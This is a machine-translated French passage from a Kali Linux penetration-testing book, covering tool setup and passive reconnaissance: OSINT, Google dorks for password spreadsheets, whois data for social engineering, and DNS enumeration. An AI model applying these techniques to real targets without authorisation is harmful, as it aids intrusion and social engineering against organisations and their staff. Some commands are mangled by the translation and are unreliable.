Pour utiliser le volume chiffré, vous devez d'abord choisir un
Slot pour gérer le volume chiffré
dossier dans le menu principal TrueCrypt . Lorsque cela est fait,
utilisez le bouton Sélectionner un fichier
pour sélectionner le nom du fichier crypté. Dans ce cas, nous
utiliserons un fichier créé précédemment
appelé pentest situé sur le bureau, comme le montre la capture
d'écran suivante :
Cliquez sur le bouton Monter . À ce stade, vous serez invité à
entrer le mot de passe, comme
montré dans la capture d'écran suivante :
Lorsque le mot de passe correct est entré, vous verrez les
détails de l' emplacement 1 changer pour
refléter les propriétés du dossier crypté, et une nouvelle icône
appelée truerypt1 sera
être affiché sur le bureau, sera affiché sur le bureau, comme
indiqué dans le
capture d'écran suivante :

Page 52
Chapitre 1
[ 35 ]
Si vous double-cliquez sur l' icône truecrypt1 , vous serez
redirigé vers une vue du navigateur de fichiers .
À ce stade, il agira comme un répertoire normal et vous
pourrez utiliser le dossier pour stocker
toutes les informations relatives au test. Lorsque vous travaillez
avec le contenu du dossier,
et souhaitez vous assurer que toutes les données sont cryptées,
sélectionnez Démonter dans le menu principal.
Le dossier reviendra à un état crypté.
Gestion des applications tierces
Bien que Kali soit livré préchargé avec plusieurs centaines
d'applications, il est
probablement que vous aurez besoin d'installer des
applications supplémentaires pour tester efficacement des
environnements (tels que les systèmes industriels), ajouter de
nouveaux outils de pointe ou assurer
que vos outils préférés sont installés. Kali facilite la localisation,
l'installation et
gérer ces outils.
Installation d'applications tierces
Il existe plusieurs manières d'installer des applications tierces :
en utilisant apt-get
commande, accéder à un référentiel GitHub et installer
directement l'application.
Tous les outils doivent être installés à partir du référentiel Kali
Linux à l'aide de apt-get
commande d' installation . La commande d' installation peut
être exécutée à partir de la ligne de commande
dans une fenêtre de terminal, ou l'utilisateur peut sélectionner
un outil de gestion de package graphique.

53
Commencer avec Kali Linux
[ 36 ]
Les applications tierces recommandées incluent :
• apt-file : Il s'agit d'un outil en ligne de commande pour
rechercher dans les packages du
Système d'emballage APT. Il vous permet de lister le contenu
d'un paquet sans
l'installer ou le récupérer.
• gnome-tweak-tool : Cela permet aux utilisateurs de changer
de thème et rapidement
configurer les options du bureau.
• instanbul : Il s'agit d'un enregistreur d'écran de bureau qui
vous permet de faire un
film d'activités de bureau.
• openoffice : Il s'agit d'une suite de productivité bureautique
open source qui aide
dans la documentation.
• scrub : il s'agit d'un outil de suppression sécurisée (anti-légale)
qui supprime en toute sécurité
données pour se conformer aux normes gouvernementales
strictes en utilisant divers
écraser les modèles.
• Shutter : Il s'agit d'un outil de capture d'écran qui capture des
images d'un bureau,
fenêtre ouverte ou une sélection.
• Team viewer : Cela prend en charge l'accès à distance et
l'administration à distance.
Il permet également aux testeurs de placer un ordinateur
préconfiguré (une boîte de dépôt) sur le
réseau cible et contrôle des tests à partir d'un emplacement
distant.
• terminator : Ceci est un remplacement pour la fenêtre de
terminal Linux qui
permet le défilement horizontal—plus de texte encapsulé !
Outils qui ne sont pas présents dans un référentiel Debian et
sont accessibles en utilisant apt-get
install peut toujours être installé sur Kali. Cependant,
l'utilisateur doit accepter ce manuel
les installations ne sont pas coordonnées avec les référentiels
et peuvent rompre les dépendances
provoquant l'échec des applications.
Certains outils utilisent le référentiel en ligne GitHub pour les
projets de développement logiciel.
De nombreux développeurs privilégient ce référentiel ouvert en
raison de la flexibilité de la révision Git
système ainsi que les aspects de médias sociaux des sites de
logiciels. Un outil que nous allons
utiliser is recon-ng , un framework de reconnaissance Web.
Pour cloner la version actuelle de recon-ng à partir du
référentiel GitHub, utilisez le
ligne de commande suivante :
cd /opt; clone git
https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-
ng.git
cd opt/recon-ng
./recon-ng.py

54
Chapitre 1
[ 37 ]
Enfin, certaines applications doivent être installées
manuellement. Par exemple, pour restaurer le
scanner de port asynchrone Unicornscan, peut revenir à Kali,
vous devez :
• Assurez-vous que les dépendances sont d'abord présentes :
apt-get install flex
• Téléchargez la dernière version de Unicornscan
( www.unicornscan.org - le
la version actuelle est unicornscan-0.4.7-2)
• Extraire le contenu du fichier dans un nouveau répertoire : tar
jxf
unicornscan-0.4.7-2.tar.bz2
• Passez au répertoire contenant Unicornscan : cd unicornscan-
0.4.7/
• Compilez le code source : ./configure CFLAGS=-
D_GNU_SOURCE && make
&& faire l'installation
Les dépendances exactes et le processus d'installation varient
pour chaque application, donc
vous devrez vous référer au fichier README du développeur
pour assurer une installation correcte et
configuration de ces applications.
Exécuter des applications tierces avec
privilèges non root
Kali Linux est destiné à prendre en charge les tests d'intrusion.
La plupart des outils nécessitent
accès au niveau racine, c'est pourquoi l'accès à l'ensemble
d'outils et aux données est protégé avec
mots de passe et cryptage.
Cependant, certains outils tiers ne sont pas destinés à être
exécutés avec des privilèges de niveau racine.
Des outils tels que les navigateurs Web peuvent être
compromis et permettre à un attaquant d'accéder à
les privilèges root peuvent avoir un impact significatif sur la
sécurité.
Si l'accès root n'est pas requis, les outils doivent suivre le
principe du moindre privilège et
exécuter en tant qu'utilisateurs non root.
Pour exécuter une application qui s'exécute normalement en
tant qu'utilisateur non root, connectez-vous à Kali à l'aide d'un
compte racine. Kali doit être configuré avec un compte non
root. Dans cet exemple,
nous utiliserons le compte noroot précédemment créé avec la
commande adduser .
Effectuez les étapes suivantes pour exécuter le navigateur Web
Iceweasel en tant que non-root :
1. Créez un compte utilisateur non root. Dans cet exemple,
nous utiliserons noroot .
2. Nous utiliserons sux , qui est une application wrapper qui
transfère les informations d'identification
d'un utilisateur privilégié à un utilisateur cible non root.
Télécharger et installer sux
à l'aide de la commande apt-get install .

Page 55
Commencer avec Kali Linux
[ 38 ]
3. Démarrez le navigateur Web, puis réduisez-le.
4. Entrez la ligne de commande : ps aux |grep iceweasel .
Comme tu peux le voir,
Iceweasel fonctionne avec les privilèges root.
5. Fermez Iceweasel et relancez à l'aide de la commande sux -
noroot
iceweasel , comme le montre la capture d'écran suivante :
Si vous examinez la barre de titre Iceweasel, illustrée dans la
capture d'écran suivante, vous
voir qu'il a été invoqué en tant qu'utilisateur noroot , un
compte qui n'avait pas
les privilèges d'administrateur.
Vous pouvez également confirmer qu'Iceweasel fonctionne
sous le compte noroot en
en examinant les processus ouverts, comme illustré dans la
capture d'écran suivante :
Gestion efficace des tests d'intrusion
L'un des aspects les plus difficiles des tests d'intrusion est de ne
pas oublier de tester tous les
les parties pertinentes du réseau ou du système cible, ou en
essayant de se rappeler si la cible
a été réellement testé, une fois les tests terminés.

Page 56
Chapitre 1
[ 39 ]
BT 5r3 a mis l'accent sur l'utilisation d'outils de gestion tels que
Draedis et MagicTree.
Ces outils facilitent les tests de groupe en fournissant un
référentiel central pour les données de test.
De plus, ils fournissent généralement un cadre pour que les
testeurs sachent où ils
font partie d'une méthodologie de test, et quels tests restent à
effectuer. Outils de
cette nature sont excellents pour coordonner des activités de
groupe définies pendant
une évaluation de la vulnérabilité ou un test d'intrusion.
Ces outils restent dans Applications | Kali Linux | Outils de
création de rapports | Preuve
Menu de gestion .
Mais qu'en est-il des tests d'intrusion complexes où la
méthodologie peut être plus fluide
comme il s'adapte à la cible du réseau?
Certains testeurs utilisent des enregistreurs de frappe ou
Wireshark pendant les tests pour enregistrer les frappes et
trafic de paquets généré pendant le test. Ces données peuvent
être particulièrement utiles si le
le test provoque une panne de réseau ou d'application, car la
relecture et l'analyse
les paquets envoyés peuvent identifier quels outils de paquets
ont eu un impact sur le réseau.
Kali Linux comprend plusieurs outils plus adaptés à la prise de
notes rapides et
servant de référentiel de données copier-coller rapidement
ajoutées, y compris KeepNote
et le wiki de bureau Zim.
Les testeurs doivent non seulement effectuer des tests et
collecter des données, ils doivent également être en mesure de
de fournir leurs conclusions au client. Cela peut être difficile,
car certains résultats sont
transitoire - un test démontre un résultat à un moment donné,
puis quelque chose est
changé sur le système cible, et les futurs tests ne parviennent
pas à démontrer l'exploitable
vulnérabilité, même s'il est possible qu'elle réapparaisse.
L'autre défi avec des résultats positifs est qu'ils doivent être
démontrés à un
client d'une manière compréhensible.
La règle d'or est de toujours prendre une capture d'écran de
toute découverte positive ou potentielle.
Utilisez un outil tel que Shutter pour capturer des images à
partir du bureau.
Par défaut, Kali est configuré avec CutyCapt , qui est une
commande multiplateforme-
utilitaire de ligne qui capture une page Web et crée une variété
de types d'images, y compris
PDF, PS, PNG, JPEG, TIFF, GIF et BMP.

57
Commencer avec Kali Linux
[ 40 ]
Par exemple, pour créer une image d'une taille spécifique à
partir de la page de recherche Google, saisissez
ce qui suit à partir d'une invite de ligne de commande :
..cutycapt --url=http://www.google.com --out=google.png --
min-width=300
--min-hauteur=250.
A l'exécution, une image de la taille spécifiée dans la
commande précédente s'affiche,
comme le montre la capture d'écran suivante :
CutyCapt est particulièrement utile pour démontrer la présence
de
vulnérabilités telles que les scripts intersites.
Les images statiques peuvent être très utiles, cependant, une
vidéo d'un exploit qui compromet
un réseau cible et montre les actions d'un attaquant
lorsqu'elles compromettent des informations sensibles
les données sont un outil très convaincant. L'enregistreur
d'écran instanbul crée une vidéo d'un
"exploit in progress", qui permet de rejouer l'exploit à des fins
d'entraînement,
ou pour démontrer la vulnérabilité au client.
Sommaire
Dans ce chapitre, nous avons examiné Kali, une collection
d'outils largement utilisés par les
testeurs d'intrusion et pirates informatiques pour évaluer la
sécurité des systèmes de données et des réseaux.
Nous avons mis l'accent sur Kali en tant que machine virtuelle,
permettant à la fois au système d'exploitation hôte
et l'invité VM pour prendre en charge les tests.

Page 58
Chapitre 1
[ 41 ]
Kali est un référentiel d'outils, et l'un des défis de son
utilisation est de s'assurer que le
les outils sont à jour. Nous avons examiné le système de
gestion des paquets Debian et comment
les mises à jour peuvent être lancées à la fois depuis la ligne de
commande et depuis les applications GUI.
Plus important encore, nous avons appris à personnaliser Kali
pour augmenter la sécurité de notre
outils et les données qu'ils collectent. Nous travaillons pour
atteindre l'objectif de faire
les outils soutiennent notre processus, et non l'inverse !
Dans le prochain chapitre, nous apprendrons à utiliser
efficacement l' intelligence Open Source
( OSINT ) pour identifier les surfaces d'attaque vulnérables de
notre cible et créer
nom d'utilisateur personnalisé : listes de mots de passe pour
faciliter les attaques d'ingénierie sociale et
autres exploits.

Page 59

Page 60
Identifier le
Cible – Passif
Reconnaissance
La reconnaissance est la première étape de la kill chain lors
d'une pénétration
test ou une attaque contre une cible réseau ou serveur. Un
attaquant sera généralement
consacrer jusqu'à soixante-quinze pour cent de l'effort de
travail global pour un test d'intrusion
à la reconnaissance, car c'est cette phase qui permet de définir,
cartographier la cible,
et exploré pour les vulnérabilités qui mèneront finalement à
l'exploitation.
Il existe deux types de reconnaissance : la reconnaissance
passive et
reconnaissance active .
En règle générale, la reconnaissance passive consiste à analyser
des informations qui sont
ouvertement disponibles, généralement à partir de la cible elle-
même ou de sources publiques en ligne. En accédant
ces informations, le testeur ou l'attaquant n'interagit pas avec
la cible de manière inhabituelle
manière - les demandes et les activités ne seront pas
enregistrées ou ne seront pas directement retracées
le testeur. Par conséquent, la reconnaissance passive est
effectuée d'abord pour minimiser le
contact qui peut signaler une attaque imminente ou pour
identifier l'agresseur.
Dans ce chapitre, vous apprendrez les principes et pratiques de
la reconnaissance passive,
qui comprennent les éléments suivants :
• Principes de base de la reconnaissance
• Intelligence libre ( OSINT )
• Reconnaissance DNS et cartographie des routes, y compris les
problèmes avec IPv4 et IPv6
• Obtention d'informations sur l'utilisateur
• Profilage des utilisateurs pour les listes de mots de passe
La reconnaissance active, qui implique une interaction directe
avec la cible, sera
couvert au chapitre 3 , Reconnaissance active et analyse des
vulnérabilités .

Page 61
Identification de la cible – Reconnaissance passive
[ 44 ]
Principes de base de la reconnaissance
La reconnaissance, ou reconnaissance, est la première étape de
la chaîne d'élimination lors de la conduite d'un
test de pénétration ou attaque contre une cible de données.
Celui-ci est réalisé avant la
test réel ou attaque d'un réseau cible. Les résultats indiqueront

une reconnaissance supplémentaire peut être nécessaire, ou
les vulnérabilités à attaquer pendant
la phase d'exploitation.
Les activités de reconnaissance sont segmentées sur un
gradient d'interactivité avec la cible
réseau ou appareil.
Passif
reconnaissance
(pas de direct
interaction)
Interaction normale
actif
reconnaissance
Plus d'information
une plus grande chance de
détection
La reconnaissance passive n'implique pas d'interaction directe
avec le réseau cible.
L'adresse IP source et les activités de l'attaquant ne sont pas
consignées (par exemple, un
rechercher les adresses e-mail de la cible). Il est difficile, voire
impossible, pour la cible
pour différencier la reconnaissance passive des activités
commerciales normales.
En général, la reconnaissance passive se concentre sur les
affaires et la réglementation
l'environnement, l'entreprise et les employés. Des informations
de ce type sont disponibles
sur Internet ou d'autres sources publiques, et est parfois appelé
open source
renseignement, ou OSINT.
• La reconnaissance passive implique également les
interactions normales qui se produisent lorsque
un attaquant interagit avec la cible d'une manière attendue.
Par exemple,
un attaquant se connectera au site Web de l'entreprise,
affichera diverses pages et
télécharger des documents pour une étude plus approfondie.
Ces interactions sont attendues de l'utilisateur
activités, et sont rarement détectés comme prélude à une
attaque contre la cible.
• La reconnaissance active implique des requêtes directes ou
d'autres interactions (par
exemple, balayage des ports du réseau cible) pouvant
déclencher des alarmes système
ou permettre à la cible de capturer l'adresse IP et les activités
de l'attaquant. Cette
informations pourraient être utilisées pour identifier et arrêter
un agresseur, ou pendant
procédure. Parce que la reconnaissance active nécessite des
techniques supplémentaires
pour que le testeur ne soit pas détecté, il sera traité au chapitre
3 , Actif
Analyse de reconnaissance et de vulnérabilité .
62
Chapitre 2
[ 45 ]
Les testeurs de pénétration ou les attaquants suivent
généralement un processus d'information structurée
en passant d'un large périmètre (les environnements
commerciaux et réglementaires) à
le très spécifique (données du compte utilisateur).
Pour être efficaces, les testeurs doivent savoir exactement ce
qu'ils recherchent et comment le
les données seront utilisées avant le début de la collecte.
Utiliser la reconnaissance passive et la limitation
la quantité de données collectées minimise les risques d'être
détecté par la cible.
Intelligence libre
Généralement, la première étape d'un test d'intrusion ou d'une
attaque est la collecte de
intelligence open-source, ou OSINT.
OSINT est une information collectée à partir de sources
publiques, en particulier Internet. Les
la quantité d'informations disponibles est considérable - la
plupart des services de renseignement et militaires
les organisations sont activement engagées dans les activités
OSINT pour collecter des informations sur
leurs cibles et de se prémunir contre les fuites de données les
concernant.
Le processus de collecte et d'analyse OSINT est complexe et
pourrait constituer son propre
livre; par conséquent, nous ne couvrirons que les points
saillants essentiels.
Le manuel de l'armée américaine ATP 2-22.9
(http://www.fas.org/
irp/doddir/army/atp2-22-9.pdf) et l'OTAN OSINT
manuel (http://information-retrieval.info/docs/
NATO-OSINT.html) sont tous deux disponibles en ligne et
fournissent
excellentes revues techniques sur la façon de recueillir et
d'évaluer l'OSINT.
Les informations ciblées pour la collecte dépendent de l'objectif
initial de
le test de pénétration. Par exemple, si les testeurs souhaitent
accéder aux données financières, ils
besoin des noms et des informations biographiques des
employés concernés (CFO, comptes
à recevoir et à payer, etc.), leurs noms d'utilisateur et mots de
passe. Si le parcours de
une attaque implique de l'ingénierie sociale, ils peuvent
compléter ces informations avec
détails qui donnent de la crédibilité aux demandes
d'information.
Le rassemblement OSINT commence généralement par un
examen de la présence en ligne officielle de la cible
(site Web, blogs, pages de médias sociaux et référentiels de
données tiers tels que
dossiers financiers). Les informations d'intérêt comprennent les
suivantes :
• Emplacements géographiques des bureaux, en particulier les
bureaux distants ou satellites qui
partager des informations d'entreprise, mais peut manquer de
contrôles de sécurité stricts.
• Un aperçu de la société mère et des éventuelles filiales,
notamment toute nouvelle société acquise par fusion ou
acquisition
(ces sociétés ne sont souvent pas aussi sûres que la société
mère).

Page 63
Identification de la cible – Reconnaissance passive
[ 46 ]
• Noms et coordonnées des employés, en particulier noms, e-
mail
adresses et numéros de téléphone.
• Des indices sur la culture et la langue de l'entreprise ; cela
facilitera la vie sociale
attaques d'ingénierie.
• Partenaires commerciaux ou fournisseurs susceptibles de se
connecter au réseau de la cible.
• Technologies utilisées. Par exemple, si la cible publie un
communiqué de presse sur
l'adoption de nouveaux appareils ou logiciels, l'attaquant
examinera les
site Web pour les rapports de bogues, les vulnérabilités
connues ou suspectées et les détails qui
pourrait être utilisé pour faciliter diverses attaques.
Les autres sources d'informations en ligne utilisées par
l'attaquant peuvent inclure les suivantes :
• Les moteurs de recherche tels que Google et Bing.
Historiquement, ces recherches
sont très manuels ; l'attaquant saisit des termes de recherche
spécifiques à
informations d'intérêt; par exemple, le terme de recherche
« nom de l'entreprise »
+ type de fichier de mot de passe : xls peut identifier une feuille
de calcul Excel qui contient
mots de passe des employés. Ces termes de recherche sont
appelés google dorks
( www.exploit-db.com/google-dorks/ ). La plupart des moteurs
de recherche ont depuis
a publié des API pour faciliter les recherches automatisées, en
créant des outils tels que Maltego
particulièrement efficace.
L'un des moteurs de recherche les plus efficaces est Yandex
(www.yandex.
com). Ce moteur de recherche en russe, le quatrième
moteur de recherche dans le monde, permet aux utilisateurs de
rechercher dans plusieurs
langues, dont l'anglais. Il prend également en charge la
recherche très granulaire
expressions, ce qui le rend plus efficace que Google lors de la
recherche
pour des informations spécifiques.
D'autres sources en ligne qui devraient être recherchées
incluent :
• Sites gouvernementaux, financiers ou autres sites
réglementaires qui fournissent des informations
sur les fusions et acquisitions, les noms des personnes clés et
les données à l'appui
• Groupes de discussion Usenet, en particulier les messages des
employés de la cible
à la recherche d'aide pour des technologies particulières
• LinkedIn, Jigsaw et d'autres sites Web qui fournissent des
informations sur les employés
• Sites Web de recherche d'emploi, en particulier ceux pour les
postes techniques qui offrent
une liste des technologies et des services qui doivent être pris
en charge par un
candidat retenu
• Contenu historique ou mis en cache, récupéré par les
moteurs de recherche (cache:url dans Google,
ou WayBack Machine sur www.archive.org )

Page 64
Chapitre 2
[ 47 ]
• Sites sociaux et commerciaux spécifiques au pays et à la
langue (voir
http://searchenginecolossus.com )
• Sites qui regroupent et comparent les résultats de plusieurs
moteurs de recherche,
comme Zuula ( www.zuula.com )
• Blogs d'entreprise et d'employés, ainsi que les blogs
personnels d'employés clés
• Réseaux sociaux (LinkedIn, Facebook et Twitter)
• Sites qui fournissent des recherches d'informations DNS,
d'itinéraire et de serveur, en particulier,
DNSstuff ( www.dnsstuff.com ), ServerSniff
( www.serversniff.net ),
Netcraft ( www.netcraft.com ) et myIPneighbors.com
• Shodan ( www.shodanHQ.com ), parfois appelé le « Google
des pirates » ;
Shodan répertorie les appareils accessibles sur Internet et
permet au testeur de rechercher
appareils avec des vulnérabilités connues
• Dépôts de mots de passe (pastebin, recherche à l'aide du
site :pastebin.com
"URL cible" )
La gestion des résultats peut être difficile ; cependant, Kali est
livré avec KeepNote, qui
prend en charge l'importation et la gestion rapides de
différents types de données.
Reconnaissance DNS et cartographie des routes
Une fois qu'un testeur a identifié les cibles qui ont une
présence en ligne et contiennent
éléments d'intérêt, l'étape suivante consiste à identifier les
adresses IP et les routes vers la cible.
La reconnaissance DNS consiste à identifier à qui appartient un
domaine particulier ou
série d'adresses IP ( informations de type whois ), les
informations DNS définissant le
les noms de domaine réels et les adresses IP attribués à la cible,
et la route entre
le testeur de pénétration ou l'attaquant et la cible finale.
Cette collecte d'informations est semi-active — certaines
informations sont disponibles auprès de
sources ouvertes disponibles gratuitement, tandis que d'autres
informations sont disponibles auprès de tiers
tels que les registraires DNS. Bien que le bureau
d'enregistrement puisse collecter des adresses IP et des
données
concernant les requêtes faites par l'attaquant, il est rarement
fourni à la cible finale. Les
des informations qui pourraient être directement surveillées
par la cible, telles que les journaux du serveur DNS,
n'est presque jamais revu ou retenu.
Parce que les informations nécessaires peuvent être
interrogées à l'aide d'un système défini et
approche méthodique, sa collecte peut être automatisée.

Page 65
Identification de la cible – Reconnaissance passive
[ 48 ]
Notez que les informations DNS peuvent contenir des entrées
périmées ou incorrectes.
Pour minimiser les informations inexactes, interrogez différents
serveurs sources
et utiliser différents outils pour valider les résultats. Examiner
les résultats et
vérifier manuellement toute découverte suspecte. Utiliser un
script pour automatiser le
collecte de ces informations. Le script doit créer un dossier
pour
le test d'intrusion, puis une série de dossiers pour chaque
application
étant exécuté. Une fois que le script a exécuté chaque
commande, dirigez les résultats
directement dans le dossier de stockage spécifique.
QUI EST
La première étape de la recherche de l'espace d'adressage IP
consiste à identifier les adresses qui
sont affectés au site cible. Ceci est généralement accompli en
utilisant le whois
commande, qui permet aux gens d'interroger des bases de
données qui stockent des informations sur le
utilisateurs enregistrés d'une ressource Internet, comme un
nom de domaine ou une adresse IP.
Selon la base de données interrogée, la réponse à une requête
whois sera
fournir des noms, des adresses physiques, des numéros de
téléphone et des adresses e-mail (utiles dans
facilitant les attaques d'ingénierie sociale), ainsi que les
adresses IP et les noms de serveurs DNS.
Un attaquant peut utiliser les informations d'une requête whois
pour :
• Soutenir une attaque d'ingénierie sociale contre
l'emplacement ou les personnes identifiées
dans la requête
• Identifier un emplacement pour une attaque physique
• Identifier les numéros de téléphone qui peuvent être utilisés
pour une attaque de numérotation de guerre , ou pour
mener une attaque d'ingénierie sociale
• Effectuer des recherches récursives pour localiser d'autres
domaines hébergés sur le même
serveur comme cible ou exploité par le même utilisateur ; s'ils
ne sont pas en sécurité, un
l'attaquant peut les exploiter pour obtenir un accès
administratif au serveur, puis
compromettre le serveur cible
• Dans les cas où le domaine arrive à expiration, un attaquant
peut tenter de s'emparer
le domaine et créer un site Web similaire pour compromettre
les visiteurs qui
pense qu'ils sont sur le site d'origine
• Un attaquant utilisera les serveurs DNS faisant autorité, qui
sont les enregistrements pour
recherches de ce domaine, pour faciliter la reconnaissance DNS

Page 66
Chapitre 2
[ 49 ]
Notez qu'il y a une augmentation de l'utilisation de tiers pour
protéger ces données, et
certains domaines, tels que .gov et .mil , peuvent ne pas être
accessibles au domaine public.
Les demandes adressées à ces domaines sont généralement
enregistrées. Plusieurs listes en ligne sont disponibles
qui décrivent les domaines et les adresses IP attribués à l'usage
du gouvernement ; la plupart des outils
accepter les options pour les adresses "sans contact", et les
domaines gouvernementaux devraient être
saisis dans ces champs pour éviter le mauvais type d'attention !
Le moyen le plus simple d'émettre une requête whois est à
partir de la ligne de commande. Ce qui suit
La capture d'écran montre la commande whois exécutée sur le
domaine de la défense numérique :
L' enregistrement whois renvoyé contient des informations
géographiques, des noms et des contacts
informations, qui peuvent toutes être utilisées pour faciliter
une attaque d'ingénierie sociale.
Il existe plusieurs sites Web qui automatisent les requêtes de
recherche whois , et les attaquants peuvent
utiliser ces sites pour insérer une étape entre la cible et eux-
mêmes ; cependant, le site
faire la recherche peut enregistrer l'adresse IP du demandeur.

67
Identification de la cible – Reconnaissance passive
[ 50 ]
Reconnaissance DNS
Le système de noms de domaine ( DNS ), est une base de
données distribuée qui résout les noms
( www.digitaldefence.ca ) à ses adresses IP ( 192.150.2.140 ).
Les attaquants utilisent les informations DNS des manières
suivantes :
• L'utilisation d'attaques par force brute permet aux attaquants
d'identifier de nouveaux noms de domaine
associé à la cible.
• Si le serveur DNS est configuré pour autoriser un transfert de
zone vers n'importe quel demandeur,
il fournira les noms d'hôtes et les adresses IP des systèmes
accessibles sur Internet,
facilitant l'identification des cibles potentielles. Si la cible ne
sépare pas
les informations DNS publiques (externes) à partir des
informations DNS privées (internes),
un transfert de zone peut divulguer les noms d'hôtes et les
adresses IP des
dispositifs. (Notez que la plupart des systèmes IDS et IPS
déclencheront une alarme si une zone
demande de transfert est déclenchée).
• Recherche de services susceptibles d'être vulnérables (par
exemple, FTP) ou autrement
intéressant (panneaux d'administration à distance et accès à
distance).
• Recherche de serveurs mal configurés et/ou non corrigés
( dbase.test.target.com ).
• Les dossiers de service ( SRV ), fournissent des informations
sur le service, le transport, le port,
et ordre d'importance pour les services. Cela peut permettre à
un attaquant de déduire
les logiciels.
• DomainKeys Identified Mail ( DKIM ) et Sender Policy
Framework ( SPF )
les enregistrements sont utilisés pour contrôler les e-mails de
spam. Si ces enregistrements sont identifiés, le
l'attaquant sait que :
°
Ils sont plus soucieux de la sécurité que la plupart des
organisations.
°
Cela peut avoir un impact sur le phishing et d'autres attaques
d'ingénierie sociale.
Windows et Unix prennent en charge les outils de ligne de
commande de base tels que nslookup et
Les systèmes Unix prennent en charge des options de ligne de
commande supplémentaires telles que dig . Malheureusement,
ces commandes interrogent généralement un serveur à la fois
et nécessitent des
réponses pour être efficaces.
Kali propose plusieurs outils conçus pour interroger de manière
itérative les informations DNS pour un
cible particulière. L'outil sélectionné doit prendre en charge la
version du protocole Internet
qui est utilisé pour les communications avec la cible : IPv4 ou
IPv6.

Page 68
Chapitre 2
[ 51 ]
IPv4
L'adresse IP, ou Internet Protocol, est un numéro unique utilisé
pour identifier les appareils
connectés à un réseau privé ou à l'Internet public. Aujourd'hui,
Internet
est largement basé sur la version 4, IPv4. Kali inclut plusieurs
outils pour faciliter le DNS
reconnaissance, comme indiqué dans le tableau suivant :
Application
La description
dnsenum , dnsmap , et dnsrecon
Ce sont des scanners DNS complets—DNS
énumération des enregistrements (A, MX, TXT, SOA, joker,
etc.), attaques par force brute de sous-domaine, Google
recherche, recherche inversée, transfert de zone et zone
marche à pied. dsnrecon est généralement le premier choix—
c'est
très fiable, les résultats sont bien analysés et les données
peuvent
être directement importé dans le Framework Metasploit.
dnstracer
Cela détermine où un système de noms de domaine donné
obtient ses informations et suit la chaîne de
Les serveurs DNS renvoient aux serveurs qui connaissent les
données.
dnswalk
Ce débogueur DNS vérifie les domaines spécifiés pour
cohérence interne et précision.
féroce
Cela localise l'espace IP et les noms d'hôte non contigus
contre des domaines spécifiés en essayant la zone
transferts, puis en tentant des attaques par force brute pour
obtenir des informations DNS.
Pendant les tests, la plupart des enquêteurs s'empressent de
confirmer que toutes les cibles possibles
ont été identifiés, puis exécutez au moins deux outils complets
(par exemple,
dnsenum et dnsrecon ) pour générer le maximum de données
et fournir un
degré de validation croisée.

69
Identification de la cible – Reconnaissance passive
[ 52 ]
Dans la capture d'écran suivante, dnsrecon est utilisé pour
générer un enregistrement DNS standard
recherche et une recherche spécifique aux enregistrements
SRV. Un extrait des résultats est
indiqué pour chaque cas.
DNSrecon permet au testeur d' intrusion d'obtenir
l'enregistrement SOA, les serveurs de noms ( NS ),
hôtes d' échange de courrier (MX), serveurs envoyant des e-
mails à l'aide de Sender Policy Framework
(SPF) et les plages d'adresses IP utilisées.

Page 70
Chapitre 2
[ 53 ]
IPv6
Bien qu'IPv4 semble autoriser un grand espace d'adressage, les
adresses IP librement disponibles
ont été épuisés il y a plusieurs années, forçant l'emploi de NAT
et DHCP à
augmenter le nombre d'adresses disponibles. Une solution plus
permanente a été
trouvé dans l'adoption d'un schéma d'adressage IP amélioré,
IPv6. Bien qu'il
représente moins de cinq pour cent des adresses Internet, son
utilisation augmente et
les testeurs d'intrusion doivent être prêts à traiter les
différences entre IPv4 et IPv6.
En IPv6, les adresses source et de destination ont une longueur
de 128 bits, ce qui donne 2 128
adresses possibles, soit 340 adresses en undécillion !
La taille accrue de l'espace d'adressage adressable pose
certains problèmes
aux testeurs d'intrusion, en particulier lors de l'utilisation de
scanners qui
espace d'adressage disponible à la recherche de serveurs en
direct. Cependant, certaines caractéristiques du
Le protocole IPv6 a simplifié la découverte, en particulier
l'utilisation d'ICMPv6 pour identifier
adresses link-local actives.
Il est important de prendre en compte IPv6 lors des analyses
initiales pour le
les raisons suivantes:
• Il existe une prise en charge inégale de la fonctionnalité IPv6
dans les outils de test, de sorte que le testeur
doit s'assurer que chaque outil est validé pour déterminer sa
performance et
précision dans les réseaux IPv4, IPv6 et mixtes.
• Étant donné qu'IPv6 est un protocole relativement nouveau,
le réseau cible peut contenir
des erreurs de configuration qui fuient des données
importantes ; le testeur doit être prêt à
reconnaître et utiliser ces informations.
• Les anciens contrôles réseau (pare-feu, IDS et IPS) peuvent ne
pas détecter IPv6.
Dans de tels cas, les testeurs d'intrusion peuvent utiliser des
tunnels IPv6 pour maintenir
communications avec le réseau et exfiltrer les données sans
être détectées.
Kali comprend plusieurs outils développés pour tirer parti
d'IPv6 (le plus complet
les scanners, tels que nmap , prennent désormais en charge
IPv6), dont certains sont les suivants : des outils qui
sont propres à IPv6 ont été largement dérivés du THC-IPv6
Attack Toolkit.
Application
La description
dnsdict6
Énumère les sous-domaines pour obtenir les adresses IPv4 et
IPv6 (le cas échéant)
en utilisant une recherche par force brute basée sur un fichier
de dictionnaire fourni ou le sien
liste interne.
dnsrevenum6
Effectue une énumération DNS inversée à partir d'une adresse
IPv6.

Page 71
Identification de la cible – Reconnaissance passive
[ 54 ]
L'exécution de la commande dnsdict6 est illustrée dans la
capture d'écran suivante :
Cartographie de l'itinéraire vers la cible
La cartographie des routes était à l'origine utilisée comme outil
de diagnostic qui vous permet de visualiser
la route qu'un paquet IP suit d'un hôte à l'autre. Utiliser le
temps pour vivre
( TTL ) dans un paquet IP, chaque saut d'un point à l'autre
provoque un ICMP
Message TIME_EXCEEDED du routeur de réception,
décrémentant la valeur dans
le champ TTL par 1. Les paquets comptent le nombre de sauts
et la route empruntée.
Du point de vue d'un attaquant ou d'un testeur de pénétration,
les données de traceroute donnent
les données importantes suivantes :
• Le chemin exact entre l'attaquant et la cible
• Conseils relatifs à la topologie externe du réseau
• Identification des dispositifs de contrôle d'accès (pare-feu et
routeurs de filtrage de paquets) susceptibles de filtrer le trafic
d'attaque
• Si le réseau est mal configuré, il peut être possible d'identifier
adressage interne
En utilisant un traceroute basé sur le Web
(www.traceroute.org), il est
possible de tracer divers sites d'origine géographique jusqu'au
réseau cible.
Ces types d'analyses identifieront fréquemment plus d'un
réseau se connectant à la cible, qui sont des informations qui
pourraient être
manqué en effectuant un seul traceroute à partir d'un
emplacement proche
à la cible. La traceroute basée sur le Web peut également
identifier
hôtes qui connectent deux ou plusieurs réseaux ensemble. Ces
hôtes sont
une cible importante pour les attaquants, car ils augmentent
considérablement la
surface d'attaque menant à la cible.

Page 72
Chapitre 2
[ 55 ]
